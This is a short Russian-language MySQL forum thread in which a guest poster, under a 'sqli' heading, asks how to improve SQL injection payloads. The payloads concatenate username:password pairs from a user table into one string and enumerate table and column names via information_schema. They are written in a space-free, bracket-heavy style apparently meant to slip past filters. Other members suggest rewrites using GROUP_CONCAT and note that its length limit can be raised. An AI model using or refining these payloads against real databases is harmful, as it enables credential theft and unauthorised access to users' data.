ReSQL.ru
     
powered by simpleCommunicator - 2.0.59     © 2025 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / MySQL [игнор отключен] [закрыт для гостей] / sqli/постраничный вывод
6 сообщений из 6, страница 1 из 1
sqli/постраничный вывод
    #39484155
abu.akbar
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
abu.akbar
Гость
Какие недостатки у моего способа и можно ли его переписать лучше?

Код: sql
1.
(select@ from(select@:=0x00,(select 1 from(select*from userdb limit 0,10)w where(@:=concat(@,username,0x3a,password,0x0a))))q)



Задача: за один запрос выбрать определенное количество рядов из базы в виде строки.
...
Рейтинг: 0 / 0
06.07.2017, 23:49
| Ответить | Цитировать | Написать  
sqli/постраничный вывод
    #39484159
miksoft
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
miksoft
Участник
Для читабельности хорошо бы расставить пробелы и убрать лишние скобки.

Присвоение в секции where реально работает? не знал такого...

И LIMIT без ORDER BY - рулетка!
...
Рейтинг: 0 / 0
07.07.2017, 00:22
| Ответить | Цитировать | Написать  
sqli/постраничный вывод
    #39484193
Фотография Akina
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Akina
Участник
abu.akbarможно ли его переписать лучше?
Ну получится что-то типа
Код: sql
1.
2.
3.
4.
5.
6.
SELECT REPLACE(CONCAT(0x00, GROUP_CONCAT(CONCAT_WS('', username, 0x3a, password, 0x0a))), CONCAT(0x0a, ','), 0x0a)
FROM ( SELECT username, password
       FROM userdb 
       /* ORDER BY somefield */
       LIMIT 0, 10
     ) q


Вот только при 10 записях имхо можно не заморачиваться...
...
Рейтинг: 0 / 0
07.07.2017, 07:52
| Ответить | Цитировать | Написать  
sqli/постраничный вывод
    #39485209
abu.akbar
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
abu.akbar
Гость
miksoft,

Код: sql
1.
(select(@)from(select(@:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(@)in(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))))x)
...
Рейтинг: 0 / 0
08.07.2017, 21:56
| Ответить | Цитировать | Написать  
sqli/постраничный вывод
    #39485210
abu.akbar
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
abu.akbar
Гость
Akina, у груп конкат ограничение 1024 байта. сразу не подходит
...
Рейтинг: 0 / 0
08.07.2017, 21:57
| Ответить | Цитировать | Написать  
sqli/постраничный вывод
    #39485408
miksoft
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
miksoft
Участник
abu.akbarу груп конкат ограничение 1024 байтаНу так можно и поменять .
...
Рейтинг: 0 / 0
09.07.2017, 22:23
| Ответить | Цитировать | Написать  
6 сообщений из 6, страница 1 из 1
Форумы / MySQL [игнор отключен] [закрыт для гостей] / sqli/постраничный вывод
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]